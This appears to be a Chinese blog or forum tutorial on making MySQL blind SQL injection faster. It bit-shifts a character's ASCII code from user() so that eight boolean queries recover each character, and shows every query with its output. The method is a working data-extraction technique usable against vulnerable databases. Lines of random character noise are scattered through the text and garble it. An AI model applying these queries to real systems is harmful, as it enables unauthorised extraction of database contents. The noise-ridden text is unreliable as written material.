关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
( L$ a/ f  @9 v. @; q
. _' i. ]. h0 T$ M$ ^1 U

  Q3 N& m7 p* M- e下面将以查询mysql数据库当中user()的第一位为例:



ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
) W/ r. _. T; V$ L0 n$ f0 e
7 y. Y4 P0 j3 S/ y  X
% w0 J8 _; @$ K1 ~& P8 v7 z5 {
1 |5 F& t4 A2 _# q( P% ]首先执行如下sql语句:
1 X5 }7 F0 Z- {) y, i
: v! w) ~# I' G, D# G9 f6 |! F: ]
9 r' E2 ]- G. g2 k1 S2 X/ K/ f( |
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

9 t) r% t) D/ @

* B! d0 z4 H2 G7 D" \7 u我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
% x8 x  i/ c2 }5 x! Y
: x7 s* P$ {6 d7 U/ I' I5 F) R

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
9 c4 |  O. ]# F2 Y6 Q# w
2 }! ]0 i) a7 L1 u: D: ]; k- ?

3 J& Y& a' \% g4 _1 [如果运算结果为1,说明第一位为0,不为1
* N9 \( g$ W# b* g

" K/ @7 r9 C) r  K3 c, R: l7 e
+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
/ g. [  @' p: V" Q
0 `4 C! k. ]8 C0 Q; P4 X* f| 1 |
; Z( W) U) D  }- t8 V
+————————————–+
5 ~% l' [9 s1 I) J+ K% o- [+ o
% Z$ x0 ?) g) T9 X8 ^$ d1 row in set (0.00 sec)
; }( c" ]  J4 y- ^/ v, n+ D( `
  c+ `- X- p0 G: l这样我们就确定这个8bit的ascii的第一位为0



第二次我们来做6次右偏移来确定前两位



前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
% v5 U% Y! i1 I% C: x: K
+————————————–+
' V0 S7 k# Q2 U% o8 s; t! T
9 y( z5 o* L" R# F; X| (ascii((substr(user(),1,1))) >> 6)=0 |
6 q- J) v3 v( D
0 U3 Z6 Q* K+ v+————————————–+

6 `( G; w* Q% Z| 0 |
+ P) ~/ L( t9 a! m6 K
+————————————–+
- T0 t$ x3 b# F
1 row in set (0.00 sec)
) B; A% `0 H# W; s( ~( b
* M6 N1 H; W/ H, _
( ?9 ]" r4 u- n( W. P' d4 Z
结果为0,即第二位为1

  A  s) f- b0 C+ d5 `

! I/ u0 r- ?2 G3 G开始猜测前三位为010或011

, _: a8 x2 s: u& {

# i" N' U/ f1 L  A8 L) c7 E让我们看看010和011的ascii码是多少


3 d/ D8 S3 q1 r( E7 u* e
分别查询select b’011′ select b’010′

8 U9 p8 y0 j7 f4 k! L5 l; e

获得结果 010 = 2 011 = 3

3 u' o: B4 z, t9 _
- o3 m4 _+ N$ S; u% [, \0 |
执行如下sql:
% |( ~3 }! o3 q' t: h( a
6 Z1 u9 l9 C' U/ V6 ]  P$ q. _
0 I! f3 Z9 R2 ?
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

" f( k0 _5 {/ U3 `* X; j; v+————————————–+
4 x8 P3 m+ R1 K" T
+ S# u1 w$ N* |) t0 m| (ascii((substr(user(),1,1))) >> 5)=2 |
6 Q  A1 Z- C/ t9 G% |# b
8 g) ~4 ?1 ?2 R1 H+————————————–+

| 0 |

+————————————–+

即前三位不为010,而是011
9 _8 l5 b1 b: l

9 J1 e5 ]0 L3 G6 M( t  X6 {
直到获得最后一位
# S, z! W% S2 C9 x# l: o- b
3 e/ |( j' j2 |" {' ]% }

/ e' R+ G- G/ k, t* D4 \, c  N- O最终结果为:01110010


3 E7 h3 O- P5 M% A' ~
3 I9 x1 `: g8 `: o0 q* y转换一下:

' u8 O* s' `! O& T; d

* A( i* j6 W* u6 q- [0 n( _! dselect b’01110010′
9 U8 K  M" a0 ]& A
+ ^# x  a0 t; i. {0 a& e( C! ^1 L4 ^
# v4 B" ~$ l! i
8 k. h; k  p, B0 e查询结果
# t& ^- Z0 {0 X, j( w: k2 O/ x
9 H7 H  u; C# T8 P% c# K8 s

+————-+
# c% ^/ O; J$ _1 l- _% e
| b’01110010′ |

5 x* c* ]/ X0 K! A1 B6 M, y+ S+————-+
; y6 l- l& d1 X3 A
0 m: z; A) U: e  k& Q6 u) p3 u| r |

$ L. f. A' ~* Q: E+————-+

1 row in set (0.00 sec)
! H, u& X" k7 M& a! P
$ _/ ^) @( E7 K& B' c
& c+ o7 H7 m: \3 c% I, G3 l
这样我们就获得了user()的第一位.其它位依此类推

7 r0 k& T5 G/ r1 I' N6 ]9 k% @8 B1 o